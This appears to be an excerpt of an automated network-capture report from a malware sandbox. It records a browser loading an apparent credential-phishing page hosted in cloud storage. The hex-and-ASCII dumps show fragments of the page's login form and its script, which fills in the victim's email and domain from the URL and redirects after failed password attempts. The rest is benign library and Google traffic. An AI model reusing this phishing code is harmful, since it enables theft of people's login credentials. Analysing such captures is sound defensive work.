2021-10-25 16:17:22 UTC	8	IN	Data Raw: 20 32 65 6d 3b 0d 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 34 32 38 35 66 34 3b 0d 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 65 6d 61 69 6c 2d 74 6f 2d 76 65 72 69 66 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 30 30 30 3b 0d 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 31 30 70 78 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 66 6f 72 6d 2d 68 6f 6c 64 65 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b Data Ascii: 2em; background: #4285f4; border-radius: 5px; color: #fff; } .email-to-verify { border: 1px solid #000; border-radius: 10px; } .form-holder { width: 100%; float: left;
2021-10-25 16:17:22 UTC	10	IN	Data Raw: 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 66 66 69 63 65 20 73 68 6f 77 20 62 6f 72 64 65 72 20 73 68 61 64 6f 77 20 62 67 2d 6c 69 67 68 74 22 20 69 64 3d 22 6f 74 68 65 72 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 66 66 69 63 65 2d 68 6f 6c 64 65 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 6f 67 6f 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 34 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 64 61 72 6b 22 3e Data Ascii: style></head><body> <div class="container"> <div class="office show border shadow bg-light" id="others"> <div class="office-holder"> <div class="logo"> <h4 class="text-dark">
2021-10-25 16:17:22 UTC	11	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 61 62 65 6c 3e 52 45 4d 45 4d 42 45 52 20 4d 45 3c 2f 6c 61 62 65 6c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 74 6e 2d 68 6f 6c 64 65 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 74 6e 2d 6c 67 20 63 6f 6c 2d 31 32 22 20 69 64 3d 22 73 75 62 6d 69 74 2d 62 74 6e 22 3e 4c 4f 47 49 4e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e Data Ascii: <label>REMEMBER ME</label> </div> <div class="btn-holder"> <button class="btn btn-lg col-12" id="submit-btn">LOGIN</button> </div>
2021-10-25 16:17:22 UTC	12	IN	Data Raw: 69 6e 3a 20 30 70 78 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 21 2d 2d 20 4f 70 74 69 6f 6e 61 6c 20 4a 61 76 61 53 63 72 69 70 74 20 2d 2d 3e 0d 0a 20 20 3c 21 2d 2d 20 6a 51 75 65 72 79 20 66 69 72 73 74 2c 20 74 68 65 6e 20 50 6f 70 70 65 72 2e 6a 73 2c 20 74 68 65 6e 20 42 6f 6f 74 73 74 72 61 70 20 4a 53 20 2d 2d 3e 0d 0a 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 64 65 2e 6a 71 75 65 72 79 2e 63 6f 6d 2f 6a 71 75 65 72 79 2d 33 2e 32 2e 31 2e 73 6c 69 6d 2e 6d 69 6e 2e 6a 73 22 20 69 6e 74 65 67 72 69 74 79 3d 22 73 68 61 33 38 34 2d 4b 4a 33 6f 32 44 4b 74 49 6b 76 59 49 4b 33 55 45 4e 7a 6d 4d 37 4b 43 6b 52 72 2f 72 45 39 2f 51 70 67 36 61 41 5a 47 4a 77 46 44 4d 56 4e 41 2f 47 70 47 Data Ascii: in: 0px } </style>... Optional JavaScript --> ... jQuery first, then Popper.js, then Bootstrap JS --> <script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpG
2021-10-25 16:17:22 UTC	13	IN	Data Raw: 72 20 63 3d 20 6d 79 5f 73 6c 69 63 65 2e 73 75 62 73 74 72 28 30 2c 20 6d 79 5f 73 6c 69 63 65 2e 69 6e 64 65 78 4f 66 28 27 2e 27 29 29 3b 0d 0a 20 20 20 20 20 20 20 20 76 61 72 20 66 69 6e 61 6c 3d 20 63 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 24 28 27 23 65 6d 61 69 6c 27 29 2e 76 61 6c 28 6d 79 5f 65 6d 61 69 6c 29 3b 0d 0a 20 20 20 20 20 20 20 20 24 28 27 23 64 6f 6d 61 69 6e 2d 6e 61 6d 65 27 29 2e 68 74 6d 6c 28 66 69 6e 61 6c 29 3b 0d 0a 20 20 20 20 20 20 20 20 24 28 22 23 6d 73 67 22 29 2e 68 69 64 65 28 29 3b 0d 0a 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 75 72 6c 20 67 65 74 74 69 6e 67 20 65 6d 61 69 6c 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f Data Ascii: r c= my_slice.substr(0, my_slice.indexOf('.')); var final= c.toLowerCase(); $('#email').val(my_email); $('#domain-name').html(final); $("#msg").hide(); } ///////////////url getting email///////////
2021-10-25 16:17:22 UTC	15	IN	Data Raw: 20 20 20 20 20 76 61 72 20 69 6e 64 3d 6d 79 5f 65 6d 61 69 6c 2e 69 6e 64 65 78 4f 66 28 22 40 22 29 3b 0d 0a 20 20 20 20 20 20 76 61 72 20 6d 79 5f 73 6c 69 63 65 3d 6d 79 5f 65 6d 61 69 6c 2e 73 75 62 73 74 72 28 28 69 6e 64 2b 31 29 29 3b 0d 0a 20 20 20 20 20 20 76 61 72 20 63 3d 20 6d 79 5f 73 6c 69 63 65 2e 73 75 62 73 74 72 28 30 2c 20 6d 79 5f 73 6c 69 63 65 2e 69 6e 64 65 78 4f 66 28 27 2e 27 29 29 3b 0d 0a 20 20 20 20 20 20 76 61 72 20 66 69 6e 61 6c 3d 20 63 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 0d 0a 20 20 20 20 20 20 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 6e 65 77 20 69 6e 6a 65 63 74 69 6f 6e 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 0d 0a 20 20 20 20 20 20 63 6f 75 6e 74 3d 63 6f 75 6e 74 2b 31 3b 0d 0a 20 20 20 20 20 20 24 28 27 23 Data Ascii: var ind=my_email.indexOf("@"); var my_slice=my_email.substr((ind+1)); var c= my_slice.substr(0, my_slice.indexOf('.')); var final= c.toLowerCase(); ///////////new injection//////////////// count=count+1; $('#
2021-10-25 16:17:22 UTC	16	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 65 72 72 6f 72 3a 20 66 75 6e 63 74 69 6f 6e 28 29 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 09 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 22 23 70 61 73 73 77 6f 72 64 22 29 2e 76 61 6c 28 22 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 63 6f 75 6e 74 3e 3d 32 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 75 6e 74 3d 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 22 68 74 74 70 3a 2f 2f 77 77 77 2e 22 2b 6d 79 5f 73 6c Data Ascii: } } }, error: function(){ $("#password").val(""); if (count>=2) { count=0; window.location.replace("http://www."+my_sl

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49743	142.250.203.109	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-25 16:17:22 UTC	2	OUT	POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1 Host: accounts.google.com Connection: keep-alive Content-Length: 1 Origin: https://www.google.com Content-Type: application/x-www-form-urlencoded Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2021-10-25 16:17:22 UTC	2	OUT	Data Raw: 20 Data Ascii:
2021-10-25 16:17:22 UTC	5	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Access-Control-Allow-Origin: https://www.google.com Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 25 Oct 2021 16:17:22 GMT Strict-Transport-Security: max-age=31536000 Cross-Origin-Resource-Policy: cross-origin Content-Security-Policy: script-src 'report-sample' 'nonce-3mXR9FIrKeHFleTtPMf6jA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/IdentityListAccountsHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'nonce-3mXR9FIrKeHFleTtPMf6jA' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/IdentityListAccountsHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding Connection: close Transfer-Encoding: chunked
2021-10-25 16:17:22 UTC	6	IN	Data Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a Data Ascii: 11["gaia.l.a.r",[]]
2021-10-25 16:17:22 UTC	6	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49752	104.16.19.94	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-25 16:17:22 UTC	17	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive Origin: https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com/download/storage/v1/b/logon_id63757945b-32c6-49b0-83e6-1d93765276e7/o/index.html?jk=AFshE3VcvfzNdf-7zMKWd94-4dMrNIkOLLE47CQ43PY7P2MYpfKpiTisbCiM8ITDVUzsV5uBnwUTgNfImCvdn95XFg7yLPb4pK7mGtnykL6H73onzrS0TNqkpgxfmCGl9SjrMUh2HXQovXq0n_fa5hqbVlcfrBGOpBCkBBOuoY-yrNdFJA6qsh5mXJeZJEWhpyesRFni67jgONcRuOW0IhE2TSFjfiZ1kcHtUg4IakFROfuF2ixmgmZ0cygvwFJgzltWAi4BZy9gK7vN7kuIcB7IqaENeixO24771GkuNYSmkiDTJACa0r0VCNPcQlcK5lGRRAu7CmqBicTQElQR1sT8UAlS8qEccylxwvHxtG1ZQipoKLv7jRTmXa5gKf9qryarS-JmN2Dw-wvzqjvQU3ACMffC05IslAl45AuBr7XJD_AvOH4XV0oB1K69D_BJqrPx5F866tHjL87vL2OzmhOn2ZN6fGK9EaMH6l71egHyEMNh69wwpAccwpkljLmJNVIqygOVxaM5girr-FZHO5mJNqOa9bTFJMZFMQk75Bh1YPELgAun31aycC9L1gEIgi9xS2AI2BDHPNQB6OaElZLJZDJIsOs0jHoqoRQa-BsTDGYlSbZcoI1h5QuM3VxHMbmAZYEyCbHgEmb6QFG4Do70MelMz0hmqK1LB3zOLUGQVyL1NduEuvkLQPWtxDQ3Zeb-GyuldZGFe6ZOCmXUvu2OKrXBBFC3a0i4Io1wftvhtL1urvwaLVPFECoQBACGCtpQtZ45u5bBlHyHOYGrix_HPHteuU8UlCF1QPHHFIVg5XjWbBd9deixk_udmpRBTRN6b7-93o-J_Lga6iMebvzrAh6z2qFEd8YAqgMmCaIpY3uuMGkMbvjX_71pF2dS6_eUeo82_XpG60fSB3QZnvV0oMGUvZu6gOHeues8gSXLQCwqfhwa_7AgDj94Gv_4jjp6oSobCikZNfcIVBrhso8uTX4sUJ5X9GsLxXBisRNqpQ&isca=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2021-10-25 16:17:23 UTC	18	IN	HTTP/1.1 200 OK Date: Mon, 25 Oct 2021 16:17:22 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" CF-Cache-Status: HIT Age: 1546696 Expires: Sat, 15 Oct 2022 16:17:22 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=SiYnHebMjN373%2B5EkY%2FlpsMd8SEgwXmx394Z0tAo9xol7i6PO7z0fuxxVzFHyoA5vcqirBPeCaIng3boGvVsKdmPLjMPyjlczY6RVLQ6Z%2FowaUP6v5KAa8iBH6ILFy0aWi5LgrNl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 6a3cc136adb94e80-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
2021-10-25 16:17:23 UTC	19	IN	Data Raw: 39 36 36 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 Data Ascii: 966/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'
2021-10-25 16:17:23 UTC	20	IN	Data Raw: 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 74 29 3a 65 2e 50 6f 70 70 65 72 3d 74 28 29 7d 29 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 27 5b 6f 62 6a 65 63 74 20 46 75 6e 63 74 69 6f 6e 5d 27 3d 3d 3d 7b 7d 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 74 28 65 2c 74 29 7b 69 66 28 31 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 Data Ascii: ==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){ret
2021-10-25 16:17:23 UTC	21	IN	Data Raw: 27 3a 27 73 63 72 6f 6c 6c 4c 65 66 74 27 2c 69 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3b 69 66 28 27 42 4f 44 59 27 3d 3d 3d 69 7c 7c 27 48 54 4d 4c 27 3d 3d 3d 69 29 7b 76 61 72 20 6e 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 72 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 73 63 72 6f 6c 6c 69 6e 67 45 6c 65 6d 65 6e 74 7c 7c 6e 3b 72 65 74 75 72 6e 20 72 5b 6f 5d 7d 72 65 74 75 72 6e 20 65 5b 6f 5d 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 65 2c 74 29 7b 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 Data Ascii: ':'scrollLeft',i=e.nodeName;if('BODY'===i\|\|'HTML'===i){var n=e.ownerDocument.documentElement,r=e.ownerDocument.scrollingElement\|\|n;return r[o]}return e[o]}function l(e,t){var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'le
2021-10-25 16:17:23 UTC	22	IN	Data Raw: 34 31 38 65 0d 0a 29 2c 77 69 64 74 68 3a 6d 28 27 57 69 64 74 68 27 2c 65 2c 74 2c 6f 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 63 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 7d 2c 65 2c 7b 72 69 67 68 74 3a 65 2e 6c 65 66 74 2b 65 2e 77 69 64 74 68 2c 62 6f 74 74 6f 6d 3a 65 2e 74 6f 70 2b 65 2e 68 65 69 67 68 74 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 67 28 65 29 7b 76 61 72 20 6f 3d 7b 7d 3b 69 66 28 69 65 28 29 29 74 72 79 7b 6f 3d 65 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 28 29 3b 76 61 72 20 69 3d 61 28 65 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 65 2c 27 6c 65 66 74 27 29 3b 6f 2e 74 6f 70 2b 3d 69 2c 6f 2e 6c 65 66 74 2b 3d 6e 2c 6f 2e 62 6f 74 74 6f 6d 2b 3d 69 2c 6f 2e 72 69 67 68 74 2b 3d 6e 7d 63 61 74 63 68 28 65 29 7b 7d 65 6c Data Ascii: 418e),width:m('Width',e,t,o)}}function c(e){return se({},e,{right:e.left+e.width,bottom:e.top+e.height})}function g(e){var o={};if(ie())try{o=e.getBoundingClientRect();var i=a(e,'top'),n=a(e,'left');o.top+=i,o.left+=n,o.bottom+=i,o.right+=n}catch(e){}el
2021-10-25 16:17:23 UTC	23	IN	Data Raw: 69 78 65 64 27 3d 3d 3d 74 28 65 2c 27 70 6f 73 69 74 69 6f 6e 27 29 7c 7c 77 28 6f 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 79 28 65 2c 74 2c 69 2c 72 29 7b 76 61 72 20 70 3d 7b 74 6f 70 3a 30 2c 6c 65 66 74 3a 30 7d 2c 73 3d 64 28 65 2c 74 29 3b 69 66 28 27 76 69 65 77 70 6f 72 74 27 3d 3d 3d 72 29 70 3d 62 28 73 29 3b 65 6c 73 65 7b 76 61 72 20 61 3b 27 73 63 72 6f 6c 6c 50 61 72 65 6e 74 27 3d 3d 3d 72 3f 28 61 3d 6e 28 6f 28 74 29 29 2c 27 42 4f 44 59 27 3d 3d 3d 61 2e 6e 6f 64 65 4e 61 6d 65 26 26 28 61 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 29 29 3a 27 77 69 6e 64 6f 77 27 3d 3d 3d 72 3f 61 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3a 61 Data Ascii: ixed'===t(e,'position')\|\|w(o(e))}function y(e,t,i,r){var p={top:0,left:0},s=d(e,t);if('viewport'===r)p=b(s);else{var a;'scrollParent'===r?(a=n(o(t)),'BODY'===a.nodeName&&(a=e.ownerDocument.documentElement)):'window'===r?a=e.ownerDocument.documentElement:a
2021-10-25 16:17:23 UTC	24	IN	Data Raw: 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 78 28 65 29 7b 76 61 72 20 74 3d 7b 6c 65 66 74 3a 27 72 69 67 68 74 27 2c 72 69 67 68 74 3a 27 6c 65 66 74 27 2c 62 6f 74 74 6f 6d 3a 27 74 6f 70 27 2c 74 6f 70 3a 27 62 6f 74 74 6f 6d 27 7d 3b 72 65 74 75 72 6e 20 65 2e 72 65 70 6c 61 63 65 28 2f 6c 65 66 74 7c 72 69 67 68 74 7c 62 6f 74 74 6f 6d 7c 74 6f 70 2f 67 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 5b 65 5d 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 53 28 65 2c 74 2c 6f 29 7b 6f 3d 6f 2e 73 70 6c 69 74 28 27 2d 27 29 5b 30 5d 3b 76 61 72 20 69 3d 4c 28 65 29 2c 6e 3d 7b 77 69 64 74 68 3a 69 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 69 2e 68 65 69 67 68 74 7d 2c 72 3d 2d 31 21 3d 3d 5b 27 72 69 67 68 74 27 2c 27 6c 65 66 74 27 5d 2e Data Ascii: eturn n}function x(e){var t={left:'right',right:'left',bottom:'top',top:'bottom'};return e.replace(/left\|right\|bottom\|top/g,function(e){return t[e]})}function S(e,t,o){o=o.split('-')[0];var i=L(e),n={width:i.width,height:i.height},r=-1!==['right','left'].
2021-10-25 16:17:23 UTC	26	IN	Data Raw: 65 66 65 72 65 6e 63 65 2c 65 2e 70 6c 61 63 65 6d 65 6e 74 29 2c 65 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 2e 70 6f 73 69 74 69 6f 6e 3d 27 61 62 73 6f 6c 75 74 65 27 2c 65 3d 43 28 74 68 69 73 2e 6d 6f 64 69 66 69 65 72 73 2c 65 29 2c 74 68 69 73 2e 73 74 61 74 65 2e 69 73 43 72 65 61 74 65 64 3f 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 6f 6e 55 70 64 61 74 65 28 65 29 3a 28 74 68 69 73 2e 73 74 61 74 65 2e 69 73 43 72 65 61 74 65 64 3d 21 30 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 6f 6e 43 72 65 61 74 65 28 65 29 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6b 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6f 3d 65 2e 6e 61 6d 65 2c 69 3d 65 2e 65 6e 61 62 6c 65 64 3b 72 65 74 75 72 6e 20 69 26 Data Ascii: eference,e.placement),e.offsets.popper.position='absolute',e=C(this.modifiers,e),this.state.isCreated?this.options.onUpdate(e):(this.state.isCreated=!0,this.options.onCreate(e))}}function k(e,t){return e.some(function(e){var o=e.name,i=e.enabled;return i&
2021-10-25 16:17:23 UTC	27	IN	Data Raw: 72 65 74 75 72 6e 20 42 28 65 29 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 72 65 73 69 7a 65 27 2c 74 2e 75 70 64 61 74 65 42 6f 75 6e 64 29 2c 74 2e 73 63 72 6f 6c 6c 50 61 72 65 6e 74 73 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 73 63 72 6f 6c 6c 27 2c 74 2e 75 70 64 61 74 65 42 6f 75 6e 64 29 7d 29 2c 74 2e 75 70 64 61 74 65 42 6f 75 6e 64 3d 6e 75 6c 6c 2c 74 2e 73 63 72 6f 6c 6c 50 61 72 65 6e 74 73 3d 5b 5d 2c 74 2e 73 63 72 6f 6c 6c 45 6c 65 6d 65 6e 74 3d 6e 75 6c 6c 2c 74 2e 65 76 65 6e 74 73 45 6e 61 62 6c 65 64 3d 21 31 2c 74 7d 66 75 6e 63 74 69 6f 6e 20 52 28 29 7b 74 68 69 73 2e 73 74 61 74 65 2e 65 76 65 6e 74 73 45 6e 61 62 6c Data Ascii: return B(e).removeEventListener('resize',t.updateBound),t.scrollParents.forEach(function(e){e.removeEventListener('scroll',t.updateBound)}),t.updateBound=null,t.scrollParents=[],t.scrollElement=null,t.eventsEnabled=!1,t}function R(){this.state.eventsEnabl
2021-10-25 16:17:23 UTC	28	IN	Data Raw: 3b 7d 76 61 72 20 64 3d 63 28 73 29 3b 72 65 74 75 72 6e 20 64 5b 74 5d 2f 31 30 30 2a 72 7d 69 66 28 27 76 68 27 3d 3d 3d 70 7c 7c 27 76 77 27 3d 3d 3d 70 29 7b 76 61 72 20 61 3b 72 65 74 75 72 6e 20 61 3d 27 76 68 27 3d 3d 3d 70 3f 4a 28 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 69 65 6e 74 48 65 69 67 68 74 2c 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 48 65 69 67 68 74 7c 7c 30 29 3a 4a 28 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 69 65 6e 74 57 69 64 74 68 2c 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 7c 7c 30 29 2c 61 2f 31 30 30 2a 72 7d 72 65 74 75 72 6e 20 72 7d 66 75 6e 63 74 69 6f 6e 20 7a 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 6e 3d 5b 30 2c 30 5d 2c 72 3d 2d 31 Data Ascii: ;}var d=c(s);return 